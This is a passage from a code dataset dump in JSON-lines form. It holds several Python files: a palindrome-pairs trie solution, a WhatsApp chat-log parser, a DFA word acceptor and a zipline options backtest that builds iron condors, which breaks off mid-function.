self.code)\n","sub_path":"agent/winvm/cybos_api/trade_subject.py","file_name":"trade_subject.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"225589913","text":"#!/usr/bin/env python3\nimport sys\nsys.setrecursionlimit(10**6)\n\na, b, c = list(map(int, input().split()))\n\ndata = set()\ni = 1\nwhile(1):\n tmp = a*i % b\n if tmp in data:\n break\n else:\n data.add(tmp)\n i += 1\n\n# print(data)\nif c in data:\n print(\"YES\")\nelse:\n print(\"NO\")\n","sub_path":"abc060/b/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"623022946","text":"import collections\nfrom typing import List\n\n# ![](https://tva1.sinaimg.cn/large/008eGmZEgy1goq6bevwdfj30re0zedkn.jpg)\n\nclass TrieNode:\n def __init__(self):\n # 트리 만들기 위한\n self.children = collections.defaultdict(TrieNode)\n # 각 트리의 위치 기억\n self.word_id = -1\n # 자신이 펠린드론일 경우\n self.iamPalindrome_word_ids = []\n\n\nclass Trie:\n\n def __init__(self) -> None:\n self.root = TrieNode()\n\n @staticmethod\n def is_palindrome(abc):\n return abc[::] == abc[::-1]\n\n def insert(self, idx, word: str) -> None:\n node = self.root\n\n # 단어의 어절을 하나씩 돌면서 node 의 children 을 확인합니다.\n # 만약 있다면 타고 들어가고, 없으면 TrieNode 을 새롭게 만들기\n # 왜 Reversed 를 해야할까?\n # 각 트라이의 끝지점을 기억해야 한다.\n for i, char in enumerate(reversed(word)):\n\n # 만약 word 자체가 펠린드론일 경우, 해당되는 경우 root Node 에\n # word_idx 가 담기고 그렇지 않으면 각 Node[word-1] 에 word_idx 가 생겼을 것\n if self.is_palindrome(word[0: len(word) - i]):\n node.iamPalindrome_word_ids.append(idx)\n\n node = node.children[char]\n\n node.word_id = idx\n\n #\n def search(self, idx, word: str) -> List:\n node = self.root\n results = []\n\n while word:\n if node.word_id >= 0:\n # 세번째 판별 로직 ( 탐색 중, word_id 가 있는 Node 를 만나고, 나머지 word가 펠린드론 일 경우 )\n # (dcbc + d)\n if self.is_palindrome(word):\n results.append([idx, node.word_id])\n\n if not word[0] in node.children:\n return results\n\n node = node.children[word[0]]\n\n word = word[1:]\n\n # 첫번째 ( reversed 된 단어와 다른 단어가 동일할 경우 )\n if node.word_id >= 0 and node.word_id != idx:\n results.append([idx, node.word_id])\n\n # 두번째 (끝까지 탐색한 뒤에 그곳에 palindrome_workd_ids 가 있을 경우)\n for word_id in node.iamPalindrome_word_ids:\n results.append([idx, word_id])\n\n return results\n\n\nclass Solution:\n\n def palindromePairs(self, words: List[str]) -> List[List[int]]:\n # 트라이 생성\n trie = Trie()\n\n # idx, word 트라이 만들었음.\n for idx, word in enumerate(words):\n trie.insert(idx, word)\n\n result = []\n for idx, word in enumerate(words):\n result.extend(trie.search(idx, word))\n\n return result\n\n\nsolution = Solution()\npairs = solution.palindromePairs([\"d\", \"cbbc dcddcd \", \"dcbb\", \"dcbc\", \"cbbc\", \"bbcd\"])\nprint(pairs)","sub_path":"archive-len/leetcode/ch16-try/p57-palindrome-pairs.py","file_name":"p57-palindrome-pairs.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"187262731","text":"import os\nimport re\nimport pandas as pd\nimport numpy as np\nfrom collections import Counter\nimport datetime\nimport matplotlib.pyplot as plt\nimport json\n# import plotly.plotly as py\n# import plotly.graph_objs as go\n\n# def analysis_date_Vs_chat(df):\n# \tdate_list=list(df['Date'].replace('251/2/1','1/1/01').replace('2015/2016/2017','1/1/01'))\n# \tcount_dup_date_list=[]\n# \tfor i in range(len(date_list)):\n# \t\tdate_list[i]=datetime.datetime.strptime(date_list[i], \"%m/%d/%y\").strftime(\"%d/%m/%y\")\n\n# \tprint(date_list)\n# \t#print(len(date_list))\n# \tdup_date_list=list(set(date_list))\n# \t#print(dup_date_list)\n# \tfor i in dup_date_list:\n# \t\tcount_dup_date_list.append(date_list.count(i))\n# \t#print(count_dup_date_list)\n# \t#print(max(count_dup_date_list))\n# \t#print(count_dup_date_list.index(max(count_dup_date_list)))\n# \t#print(dup_date_list[count_dup_date_list.index(max(count_dup_date_list))])\n# \tprint('number of days till now chated:'+str(len(dup_date_list)))\n# \tplt.figure(1)\n# \tplt.bar(count_dup_date_list,dup_date_list,color='blue')\n# \tplt.show()\n\n# def analysis_month_day_Vs_chat(df):\n# \tdate_list=list(df['Date'].replace('251/2/1','1/1/01').replace('2015/2016/2017','1/1/01'))\n# \tmonth_list_count=[0,0,0,0,0,0,0,0,0,0,0,0]\n# \tdays30_list_count=[0]*31\n# \tday30_name=list(range(1,32))\n# \tmonth_name=['January','February','March','April','May','June','July','August','September','October','November','December']\n# \tfor i in range(len(date_list)):\n# \t\t#converting date format to required one \n# \t\tdate_list[i]=datetime.datetime.strptime(date_list[i], \"%m/%d/%y\").strftime(\"%d/%m/%y\")\n# \t\t#extracting month from the date\n# \t\ttemp=datetime.datetime.strptime(date_list[i], \"%d/%m/%y\").month \n# \t\t#adding the month to the month_list_count list\n# \t\tmonth_list_count[temp-1]+=1\n# \t\t#extracting day(30) from the date\n# \t\ttemp=datetime.datetime.strptime(date_list[i], \"%d/%m/%y\").day\n# \t\t#adding the day(30) to the days30_list_count\n# \t\tdays30_list_count[temp-1]+=1\n# \tplt.figure(2)\n# \tplt.bar(month_name,month_list_count,color='blue')\n# \tplt.title('Analysis_Month_Vs_Chat')\n# \tplt.xlabel('Months')\n# \tplt.ylabel('Number of Messages')\n# \tplt.show()\n \n# \tplt.figure(3)\n# \tplt.bar(day30_name,days30_list_count,color='blue')\n# \tplt.title('Analysis_Days_Vs_Chat')\n# \tplt.xlabel('Days from 1 to 30')\n# \tplt.ylabel('Number of Messages')\n# \tplt.show()\n\n# \t#print(month_list_count)\n\n# def analysis_month_day_Vs_chat_with_out_chat(df):\n# \tdate_list=list(df['Date'].replace('251/2/1','1/1/01').replace('2015/2016/2017','1/1/01'))\n# \tmonth_list_count=[0,0,0,0,0,0,0,0,0,0,0,0]\n# \tdays30_list_count=[0]*31\n# \tday30_name=list(range(1,32))\n# \tmonth_name=['January','February','March','April','May','June','July','August','September','October','November','December']\n# \tfor i in range(len(date_list)):\n# \t\t#converting date format to required one \n# \t\tdate_list[i]=datetime.datetime.strptime(date_list[i], \"%m/%d/%y\").strftime(\"%d/%m/%y\")\n# \t\t#extracting month from the date\n# \t\ttemp=datetime.datetime.strptime(date_list[i], \"%d/%m/%y\").month \n# \t\t#adding the month to the month_list_count list\n# \t\tmonth_list_count[temp-1]+=1\n# \t\t#extracting day(30) from the date\n# \t\ttemp=datetime.datetime.strptime(date_list[i], \"%d/%m/%y\").day\n# \t\t#adding the day(30) to the days30_list_count\n# \t\tdays30_list_count[temp-1]+=1\n# \treturn [month_name,month_list_count,day30_name,days30_list_count]\n\n# def time_Vs_chat(df):\n# \ttime_list_name=['0','1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23']\n# \ttime_list_count=[0]*24\n# \tresult=[]\n# \ttime_list=list(df['Time'])\n# \tfor i in range(len(time_list)):\n# \t\tstr=time_list[i]\n# \t\ttemp=int(str[0:2])\n# \t\ttime_list_count[temp-1]+=1\n# \t#print(time_list)\n# \tplt.figure(4)\n# \tplt.bar(time_list_name,time_list_count,color='blue')\n# \tplt.title('Analysis_time_Vs_Chat')\n# \tplt.xlabel('hours from 0 to 23')\n# \tplt.ylabel('Number of Messages')\n# \tplt.show()\n\n# def ratio_of_chat(df):\n# \tuser_list=list(df['User'])\n# \tuser_list_count=[]\n# \tdup_user_list=[' Harnath', ' Algonox Soujanya']\n# \t#dup_user_list.remove('https')\n# \tfor i in range(len(dup_user_list)):\n# \t\tuser_list_count.append(user_list.count(user_list[i]))\n\n# \t#print(dup_user_list)\n# \t#print(user_list)\n# \t#print(user_list_count)\n# \tplt.figure(5)\n# \tplt.pie(user_list_count,labels=dup_user_list)\n# \tplt.show()\n\n# \tdf_user_1=df.loc[df['User']==dup_user_list[0]]\n# \tdf_user_2=df.loc[df['User']==dup_user_list[1]]\n# \tuser1_results=analysis_month_day_Vs_chat_with_out_chat(df_user_1)\n# \tuser2_results=analysis_month_day_Vs_chat_with_out_chat(df_user_2)\n# \tbar_width = 0.35\n# \topacity = 0.8\n\t\n# \tt1=go.Bar(x=user1_results[0],y=user1_results[1],name=dup_user_list[0])\n# \tt2=go.Bar(x=user1_results[0],y=user1_results[1],name=dup_user_list[1])\n# \tdata=[t1,t2]\n# \tlayout = go.Layout(barmode='group')\n# \tfig = go.Figure(data=data, layout=layout)\n# \tpy.iplot(fig, filename='grouped-bar')\n\t\n# \tplt.figure(6)\n# \tplt.bar(user1_results[2],user1_results[3],color='r',label=dup_user_list[0])\n# \tplt.bar(user2_results[2],user2_results[3],color='g',label=dup_user_list[1])\n# \tplt.legend()\n# \tplt.title('Analysis_Days_Vs_Chat')\n# \tplt.xlabel('Days from 1 to 30')\n# \tplt.ylabel('Number of Messages')\n# \tplt.show()\n\n# \tprint(df_user_1)\n# \tprint(df_user_2)\n\n\nconf_file_path = str(os.getcwd())+'\\\\Config.json'\n\ndef get_file_path(conf_path):\n\t''' converts given json file into dictionary'''\n\twith open(conf_path, 'r') as fo:\n\t\tconfig_dict = json.loads(fo.read())\n\treturn config_dict\n\ndef DataExtractionModule():\n\ttry:\n\n\t\tconfig_dict = get_file_path(conf_file_path)\n\t\tInputFolder = config_dict[\"InputFolder\"]\n\t\tOutputFolder = config_dict[\"DataFolder\"]\n\t\tWhatsAppFileName = config_dict[\"FileName\"]\n\t\tCsvFileName = WhatsAppFileName.split('.')[0] + '.csv'\n\t\t\n\t\tif os.path.exists(InputFolder+WhatsAppFileName):\n\t\t\tfile_data = open(InputFolder+WhatsAppFileName,'r', encoding=\"utf8\")\n\t\t\tWhatsApp_Content = file_data.read()\n\t\telse:\n\t\t\treturn \"File not found in location\"\n\t\t\n\t\t#Get Date\n\t\tdate_regex=re.compile(r'(\\d+/\\d+/\\d+)')\n\t\tdate=date_regex.findall(WhatsApp_Content)\n\t\t\n\t\t# Get time\n\t\ttime_regex=re.compile(r'(24:00|2[0-3]:[0-5][0-9]|[0-1][0-9]:[0-5][0-9])')\n\t\ttime=time_regex.findall(WhatsApp_Content)\n\t\t\n\t\t# Get Users\n\t\tuser_regex=re.compile(r'-(.*?):')\n\t\tuser=user_regex.findall(WhatsApp_Content)\n\t\t\n\t\t# Get Message\n\t\tmessage_regex=re.compile(r\"(\\n)(?<=)(\\d+/\\d+/\\d+)(.*)\")\n\t\tmessage=message_regex.findall(WhatsApp_Content)\n\t\tdata=[]\n\t\tfor w,x,y,z in zip(date,time,user,message):\n\t\t\tdata.append([str(w),str(x),str(y),str(z)])\n\t\t\n\t\t# Create DataFrame from WhatsApp content\n\t\tdf=pd.DataFrame(data,columns=(\"Date\",\"Time\",\"User\",\"Message\"))\n\t\tmessage_data=list(df['Message'])\n\t\t\n\t\t# Removing unwanted data from message\n\t\tfor message in range(len(message_data)):\n\t\t\tmessage_data[message]=re.sub(r'.*:', ':',str(message_data[message])).replace(':','').replace('\\')','')\n\t\t\n\t\tdf=df.drop('Message',axis=1)\n\t\t\n\t\t# adding the modified message data\n\t\t\n\t\tdf['Message']=np.array(message_data)\n\t\tprint(\"date frame related to Chat: \")\n\t\tprint(df)\n\t\tprint('total number of messages till date are :'+str(df.shape[0]))\n\t\t#converting it to csv file\n\t\t\n\t\tdf.to_csv(OutputFolder+CsvFileName)\n\t\t# analysis_date_Vs_chat(df)\n\t\t# #analysis_month_day_Vs_chat(df)\n\t\t# #time_Vs_chat(df)\n\t\t# ratio_of_chat(df)\n\t\treturn (\"Working Fine\")\n\texcept Exception as Error:\n\t\treturn (\"Error: {}\".format(str(Error)))\n\n\nif __name__=='__main__':\n\tresult = DataExtractionModule()\n\tprint(result)","sub_path":"Project-1(Whats app chat analysis)/WhatsAppDataAnalysis.py","file_name":"WhatsAppDataAnalysis.py","file_ext":"py","file_size_in_byte":7442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"281027026","text":"import argparse\r\n\r\n\r\ndef get_line_arguments():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('file', help=\"dfa_config_file\")\r\n parser.add_argument('word', help=\"word_input\")\r\n args = parser.parse_args()\r\n\r\n return args.file, args.word\r\n\r\n\r\nExemplu, word = get_line_arguments()\r\n\r\nf = open(Exemplu, \"r\")\r\nSigma = set()\r\nStates = set()\r\nTransitions = []\r\nStrInit = ''\r\nStrFin = []\r\nlista = []\r\nok = ok1 = 0\r\nnrS = nrF = 0\r\n\r\nfor linie in f:\r\n if linie[0] != \"#\":\r\n if \"Sigma\" in linie or \"States\" in linie or \"Transitions\" in linie or \"End\" in linie:\r\n ok += 1\r\n continue\r\n\r\n else:\r\n if ok == 1:\r\n linie = linie.replace(\"\\n\", \"\")\r\n linie = linie.replace(\"\\t\", \"\")\r\n linie = linie.strip()\r\n Sigma.add(linie)\r\n\r\n elif ok == 3:\r\n linie = linie.replace(\"\\n\", \"\")\r\n linie = linie.replace(\"\\t\", \"\")\r\n linie = linie.strip()\r\n if 'S' in linie:\r\n nrS += 1\r\n States.add(linie[:linie.find(\",\")])\r\n StrInit = linie[:linie.find(\",\")]\r\n if nrS > 1 and ok1 == 0:\r\n print(\"Eroare, avem mai mult de o stare initiala!\")\r\n ok1 = 1\r\n\r\n elif 'F' in linie:\r\n nrF += 1\r\n States.add(linie[:linie.find(\",\")])\r\n StrFin.append(linie[:linie.find(\",\")])\r\n else:\r\n States.add(linie)\r\n\r\n else:\r\n linie = linie.replace(\"\\n\", \"\")\r\n linie = linie.replace(\"\\t\", \"\")\r\n linie = linie.replace(\" \", \"\")\r\n linie = linie.strip()\r\n lista = []\r\n lista = linie.split(',')\r\n\r\n if lista[0] not in States:\r\n print(\"Eroare, nu exista starea:\", lista[0])\r\n\r\n if lista[1] not in Sigma:\r\n print(\"Eroare, nu exista cuvantul:\", lista[1])\r\n\r\n if lista[2] not in States:\r\n print(\"Eroare, nu exista starea:\", lista[2])\r\n\r\n if lista[0] in States and lista[1] in Sigma and lista[2] in States:\r\n Transitions.append(lista)\r\n\r\nif nrF == 0:\r\n print(\"Eroare, nu exista starea finala!\")\r\n\r\nif nrS == 1 and nrF:\r\n StrCrt = StrInit\r\n lungime = 0\r\n ok = 0\r\n for i in word:\r\n lungime += 1\r\n for j in Transitions:\r\n if i == j[1] and StrCrt == j[0]:\r\n StrCrt = j[2]\r\n\r\n if StrCrt in StrFin and lungime == len(word):\r\n ok = 1\r\n break\r\n if ok:\r\n print(\">>accept\")\r\n break\r\n if ok == 0:\r\n print(\">>reject\")\r\n","sub_path":"Laborator2.py","file_name":"Laborator2.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"131546529","text":"from collections import namedtuple\n\nimport pyfolio as pf\nimport numpy as np\nimport pandas as pd\nfrom pandas.tseries.offsets import BDay\n\nfrom logbook import Logger\nfrom functools import partial\n\nfrom zipline.api import order, option_chain, record, sid\nfrom zipline.finance import commission, slippage\n\n\nlog = Logger(__name__)\n\n\nLeg = namedtuple(\"Leg\", [\"option\", \"amount\"])\n\nSELL = 1 << 0\nBUY = 1 << 1\nSTOP = 1 << 2\nLIMIT = 1 << 3\nLONG = 1 << 4\nSHORT = 1 << 5\nDEBIT = 1 << 6\nCREDIT = 1 << 7\n\n\ndef check_order_triggers(\n current_price, is_debit, is_long, stop_price=None, limit_price=None\n):\n \"\"\"Given current market value of position, returns order triggers\n\n Parameters\n ----------\n current_price : float\n The current value of the position, this can be negative if credit position\n is_long : boolean\n True if the entry position is a long position, false if short\n is_debit\n True if there was a cash outflow to establish this position, false if inflow\n stop_price\n Price at which the position should trigger an exit at a loss\n limit_price\n Price at which the position should trigger an exit at a gain\n\n Returns\n -------\n stop_reached, limit_reached : tuple of boolean\n\n \"\"\"\n stop_reached = False\n limit_reached = False\n\n # order_type = 0\n # side = 0\n # position_type = 0\n\n # if is_long:\n # side |= LONG\n # else:\n # side |= SHORT\n #\n # if is_debit:\n # position_type |= DEBIT\n # else:\n # position_type |= CREDIT\n #\n # if stop_price is not None:\n # order_type |= STOP\n #\n # if limit_price is not None:\n # order_type |= LIMIT\n\n # if side == LONG | DEBIT:\n # if current_price <= stop_price:\n # stop_reached = True\n # if current_price >= limit_price:\n # limit_reached = True\n # elif side == SHORT | DEBIT:\n # if current_price <= stop_price:\n # stop_reached = True\n # if current_price >= limit_price:\n # limit_reached = True\n # elif side == LONG | CREDIT:\n # if current_price <= stop_price:\n # stop_reached = True\n # if current_price >= limit_price:\n # limit_reached = True\n # elif side == SHORT | CREDIT:\n # if current_price <= stop_price:\n # stop_reached = True\n # if current_price >= limit_price:\n # limit_reached = True\n\n # if order_type == BUY:\n # if current_price <= stop_price:\n # stop_reached = True\n # if current_price >= limit_price:\n # limit_reached = True\n # elif order_type == SELL:\n # if current_price >= stop_price:\n # stop_reached = True\n # if current_price <= limit_price:\n # limit_reached = True\n\n if is_debit:\n if is_long:\n if current_price <= stop_price:\n stop_reached = True\n if current_price >= limit_price:\n limit_reached = True\n else:\n if current_price >= stop_price:\n stop_reached = True\n if current_price <= limit_price:\n limit_reached = True\n\n else:\n if is_long:\n if current_price >= stop_price:\n stop_reached = True\n if current_price <= limit_price:\n limit_reached = True\n else:\n if current_price <= stop_price:\n stop_reached = True\n if current_price >= limit_price:\n limit_reached = True\n\n return stop_reached, limit_reached\n\n\ndef _align_expiration_with_trading_sessions(calendar, expiration_date):\n if calendar.is_session(expiration_date):\n return expiration_date\n\n dt = expiration_date\n offset = 1\n while not calendar.is_session(dt):\n dt = expiration_date - BDay(offset)\n offset += 1\n\n return dt\n\n\ndef dte_session(calendar, dte, expiration_date):\n aligned_expiration_date = _align_expiration_with_trading_sessions(\n calendar, expiration_date\n )\n session_window = calendar.sessions_window(aligned_expiration_date, -dte)\n return session_window[0]\n\n\nclass IronCondors(object):\n \"\"\"Given option chain, constructs iron condors meeting requirements\n\n Parameters:\n option_frame : pandas.DataFrame\n Contains a well-formed fully valued options frame\n kwargs : dict\n Keywords for the iron condor search\n Returns:\n iron_condors : pandas.DataFrame\n Matching iron_condors suitable for traindg\n\n Example usage:\n\n backtest_params = {\n # days to expiration to enter trade\n \"trade_entry_dte\": trade_entry_dte,\n # days to expiration to exit trade\n \"trade_exit_dte\": 8.0,\n # look for positions less than this moneyness (< 1.0 is otm)\n \"moneyness\": moneyness,\n # near strike width, the short strike\n \"wing_width\": 20.0,\n # long strike, how many strikes out from the short strike\n \"strikes_out\": 1,\n # only look at condors with this net delta plus an error\n \"net_delta_constraint\": 0.19,\n \"delta_epsilon\": 0.1,\n # quantity of [LongPut, ShortPut, ShortCall, LongCall] (all > 0)\n \"qty\": [1, 1, 1, 1],\n # sell means a credit spread; default position\n \"side\": side,\n # where are we trading\n \"trade_at_mid\": False,\n }\n\n ic = IronCondors(options_frame, **backtest_params)\n condors = ic.get_iron_condors()\n trades = ic.get_trades()\n\n \"\"\"\n\n def __init__(self, options_frame, **kwargs):\n\n self._options_frame = options_frame\n\n self._trade_entry_dte = kwargs[\"trade_entry_dte\"]\n self._trade_exit_dte = kwargs[\"trade_exit_dte\"]\n self._moneyness = kwargs[\"moneyness\"]\n self._wing_width = kwargs[\"wing_width\"]\n self._strikes_out = kwargs[\"strikes_out\"]\n self._net_delta_constraint = kwargs[\"net_delta_constraint\"]\n self._delta_epsilon = kwargs[\"delta_epsilon\"]\n\n if kwargs[\"side\"] is \"sell\":\n self._qty = [a * b for a, b in zip([1, -1, -1, 1], kwargs[\"qty\"])]\n else:\n self._qty = [a * b for a, b in zip([-1, 1, 1, -1], kwargs[\"qty\"])]\n\n self._filtered_options = self._filter_options()\n self.iron_condors = pd.DataFrame()\n\n def _filter_options(self):\n \"\"\"\n\n \"\"\"\n options_frame = self._options_frame\n trade_entry_dte = self._trade_entry_dte\n moneyness = self._moneyness\n\n options = options_frame[options_frame[\"days_to_expiration\"] == trade_entry_dte]\n\n return options[options[\"moneyness\"] < moneyness]\n\n def _get_short_strikes(self, calls, puts):\n \"\"\"\n\n \"\"\"\n wing_width = self._wing_width\n call_strike_values = calls[\"strike_price\"].values\n put_strike_values = puts[\"strike_price\"].values\n\n # create a lower triangular matrix with the differences between the strikes\n diff = np.subtract.outer(put_strike_values, call_strike_values)\n\n # match our wing width between call strikes and put strikes, these\n # are our short strikes\n diff_frame = pd.DataFrame(\n diff, index=put_strike_values, columns=call_strike_values\n )\n diff_frame_wings = diff_frame[diff_frame == -wing_width].notnull()\n\n # melt the matrix to a 2xN matrix with the short legs in the vectors and\n # rename the columns\n melted = pd.melt(diff_frame_wings.reset_index(), id_vars=[\"index\"])\n mask = melted[\"value\"] == True\n result = melted.loc[mask, [\"index\", \"variable\"]]\n result.columns = [\"short_put_strike\", \"short_call_strike\"]\n result.reset_index(inplace=True, drop=True)\n\n return result\n\n def _get_long_strikes(self, short_strikes):\n \"\"\"\n\n \"\"\"\n strikes_out = self._strikes_out\n\n short_strikes[\"long_put_strike\"] = short_strikes[\"short_put_strike\"].shift(\n strikes_out\n )\n short_strikes[\"long_call_strike\"] = short_strikes[\"short_call_strike\"].shift(\n -strikes_out\n )\n short_strikes.dropna(inplace=True)\n short_strikes.reset_index(drop=True, inplace=True)\n\n return short_strikes\n\n def _build_iron_condor_strikes(self):\n filtered_options = self._filtered_options\n\n # get the calls and puts sorted by strike\n calls = (\n filtered_options[filtered_options[\"option_type\"] == \"C\"]\n .sort_values([\"strike_price\"])\n .reset_index(drop=True)\n )\n puts = (\n filtered_options[filtered_options[\"option_type\"] == \"P\"]\n .sort_values([\"strike_price\"])\n .reset_index(drop=True)\n )\n\n # get the short puts and calls with strikes at wing_width\n short_strikes = self._get_short_strikes(calls, puts)\n\n # get the long put and call strikes at strikes_out strikes from the shorts\n self.iron_condors = self._get_long_strikes(short_strikes)\n\n def _build_quantity(self):\n \"\"\" Assumes qty is entered as ordered by columns\n\n \"\"\"\n iron_condors = self.iron_condors\n qty = self._qty\n positions = len(iron_condors)\n quantities = pd.DataFrame(\n np.tile(qty, (positions, 1)),\n columns=[\n \"long_put_amount\",\n \"short_put_amount\",\n \"short_call_amount\",\n \"long_call_amount\",\n ],\n )\n\n self.iron_condors = pd.concat([iron_condors, quantities], axis=1)\n\n def _get_condor_delta(self):\n filtered_options = self._filtered_options\n iron_condors = self.iron_condors\n\n # get the calls and puts sorted by strike\n calls = (\n filtered_options[filtered_options[\"option_type\"] == \"C\"]\n .sort_values([\"strike_price\"])\n .reset_index(drop=True)\n )\n puts = (\n filtered_options[filtered_options[\"option_type\"] == \"P\"]\n .sort_values([\"strike_price\"])\n .reset_index(drop=True)\n )\n\n short_call_delta = calls[\"delta\"][\n calls[\"strike_price\"].isin(iron_condors[\"short_call_strike\"])\n ].reset_index()\n del short_call_delta[\"index\"]\n\n long_call_delta = calls[\"delta\"][\n calls[\"strike_price\"].isin(iron_condors[\"long_call_strike\"])\n ].reset_index()\n del long_call_delta[\"index\"]\n\n short_put_delta = puts[\"delta\"][\n puts[\"strike_price\"].isin(iron_condors[\"short_put_strike\"])\n ].reset_index()\n del short_put_delta[\"index\"]\n\n long_put_delta = puts[\"delta\"][\n puts[\"strike_price\"].isin(iron_condors[\"long_put_strike\"])\n ].reset_index()\n del long_put_delta[\"index\"]\n\n iron_condors[\"net_unit_delta\"] = (\n short_call_delta[\"delta\"]\n + long_call_delta[\"delta\"]\n + short_put_delta[\"delta\"]\n + long_put_delta[\"delta\"]\n )\n\n self.iron_condors = iron_condors\n\n def _get_condor_sid(self):\n filtered_options = self._filtered_options\n iron_condors = self.iron_condors\n\n # get the calls and puts sorted by strike\n calls = (\n filtered_options[filtered_options[\"option_type\"] == \"C\"]\n .sort_values([\"strike_price\"])\n .reset_index(drop=True)\n )\n puts = (\n filtered_options[filtered_options[\"option_type\"] == \"P\"]\n .sort_values([\"strike_price\"])\n .reset_index(drop=True)\n )\n\n short_call_sid = calls[\"sid\"][\n calls[\"strike_price\"].isin(iron_condors[\"short_call_strike\"])\n ].reset_index()\n del short_call_sid[\"index\"]\n\n long_call_sid = calls[\"sid\"][\n calls[\"strike_price\"].isin(iron_condors[\"long_call_strike\"])\n ].reset_index()\n del long_call_sid[\"index\"]\n\n short_put_sid = puts[\"sid\"][\n puts[\"strike_price\"].isin(iron_condors[\"short_put_strike\"])\n ].reset_index()\n del short_put_sid[\"index\"]\n\n long_put_sid = puts[\"sid\"][\n puts[\"strike_price\"].isin(iron_condors[\"long_put_strike\"])\n ].reset_index()\n del long_put_sid[\"index\"]\n\n iron_condors[\"short_call_sid\"] = short_call_sid\n iron_condors[\"long_call_sid\"] = long_call_sid\n iron_condors[\"short_put_sid\"] = short_put_sid\n iron_condors[\"long_put_sid\"] = long_put_sid\n\n self.iron_condors = iron_condors\n\n def _filter_delta(self, iron_condors):\n net_delta_constraint = self._net_delta_constraint\n delta_epsilon = self._delta_epsilon\n\n r_1 = net_delta_constraint * (1.0 + delta_epsilon)\n r_2 = net_delta_constraint * (1.0 - delta_epsilon)\n\n delta_upper = np.maximum(r_1, r_2)\n delta_lower = np.minimum(r_1, r_2)\n\n where = (iron_condors[\"net_unit_delta\"] >= delta_lower) & (\n iron_condors[\"net_unit_delta\"] <= delta_upper\n )\n\n return iron_condors[where]\n\n def _build_iron_condors(self):\n self._build_iron_condor_strikes()\n self._build_quantity()\n self._get_condor_delta()\n self._get_condor_sid()\n\n self.iron_condors = self.iron_condors\n\n def get_iron_condors(self):\n self._build_iron_condors()\n return self.iron_condors\n\n def get_trades(self):\n if self._filtered_options.empty:\n return self._filtered_options\n iron_condors = self.get_iron_condors()\n return self._filter_delta(iron_condors)\n\n\ndef initialize(context):\n context.root_symbol = \"RUT\"\n\n context.backtest_params = {\n # days to expiration to enter trade\n \"trade_entry_dte\": 80,\n # days to expiration to exit trade\n \"trade_exit_dte\": 8,\n # look for positions less than this moneyness (< 1.0 is otm)\n \"moneyness\": 1.5,\n # near strike width, the short strike\n \"wing_width\": 20,\n # long strike, how many strikes out from the short strike\n \"strikes_out\": 1,\n # only look at condors with this net delta plus an error\n \"net_delta_constraint\": 0.16,\n \"delta_epsilon\": 0.1,\n # quantity of [LongPut, ShortPut, ShortCall, LongCall] (all > 0)\n \"qty\": [10, 10, 10, 10],\n # sell means a credit spread; default position\n \"side\": \"sell\",\n }\n # profit taking position as a percentage of the original position value\n # if short (credit) then something like 0.15 means at 15% of the original\n # credit take the winner; if long (debit) something like 2.0 means at 200%\n # of the original debit, take the winner\n context.limit_percent = 0.0 # 0.15 or 2.0\n # trade exit at a loser as a percentage of the original position value\n # if short (credit) then something like 1.6 means at 160% of the original credit\n # take the loser; if long (debit) then something like 0.75 means at 75%\n # of the original credit, take the loser\n context.stop_percent = 4.0 # 1.60\n # list of strategy which is a complex options option\n context.complex_positions = []\n\n context.set_commission(\n us_options=commission.PerOptionContract(\n cost=0.0075, exchange_fee=0.50, min_trade_cost=1.0\n )\n )\n # context.set_slippage(us_options=slippage.CoverTheSpread())\n context.set_slippage(us_options=slippage.NoSlippage())\n\n\ndef handle_data(context, data):\n log.info(f\"Trade date {data.current_session}\")\n\n # look for existing strategies to exit first which avoids immeditely\n # exiting an entered strategy\n if context.complex_positions:\n log.info(f\"Found positions to trade: {context.complex_positions}\")\n\n for complex_position in context.complex_positions:\n log.info(f\"Processing {data.current_session}\")\n\n # check if any date to exit trade has been exceeded. using any\n # covers the case where there are uneven expirations. this is a bad\n # approach because naively takes dte without considering trading days\n # if trade_exit_dte_breached is true, exit trade (covered in if below)\n dte_session_ = partial(\n dte_session,\n context.trading_calendar,\n context.backtest_params[\"trade_exit_dte\"],\n )\n trade_exit_dte_reached = any(\n [\n context.datetime >= dte_session_(sid(leg.option).expiration_date)\n for leg in complex_position\n ]\n )\n\n # compute the cost basis of the position which is used to decide whether\n # to exit position based on the position stop loss. execution price\n # would be better than cost_basis but this value doesn't seem to exist\n cost_basis = sum(\n [\n context.portfolio.positions[leg.option].cost_basis\n * np.copysign(1, context.portfolio.positions[leg.option].amount)\n for leg in complex_position\n ]\n )\n\n # aggregate the current value of the position based on the last_sale_price\n # which is the mid price. mid is probably a decent estimate of the closing\n # price for atm liquid options\n current_value = sum(\n [\n context.portfolio.positions[leg.option].last_sale_price\n * np.copysign(1, context.portfolio.positions[leg.option].amount)\n for leg in complex_position\n ]\n )\n\n # if the curent value of the position, which is negative if a credit,\n # gets closer to 0 e.g. increases e.g. spreads start to collapse, we're\n # making money. therefore if the current_value is greater than the\n # basis minus what money we want to make, we buy back the position at\n # a winner\n # if the current value of the position, which is negative if a credit,\n # goes further negative e.g. spreads continue to widen, we're losing\n # money. therefore if the current_value is less than the basis\n # plus the stop loss percent, we buy back the position at a loser\n is_debit = is_long = cost_basis > 0\n stop_reached, limit_reached = check_order_triggers(\n current_value,\n is_debit,\n is_long,\n stop_price=context.stop_percent * cost_basis,\n limit_price=context.limit_percent * cost_basis,\n )\n print(f\"current_value={current_value} stop_price={context.stop_percent * cost_basis} limit_price={context.limit_percent * cost_basis}\")\n if stop_reached or limit_reached or trade_exit_dte_reached:\n print(\"in exit \")\n [order(leg.option, -leg.amount) for leg in complex_position]\n context.complex_positions.remove(complex_position)\n\n chain = option_chain(context.root_symbol, data.current_session)\n ic = IronCondors(chain, **context.backtest_params)\n trades = ic.get_trades()\n\n if not trades.empty:\n\n 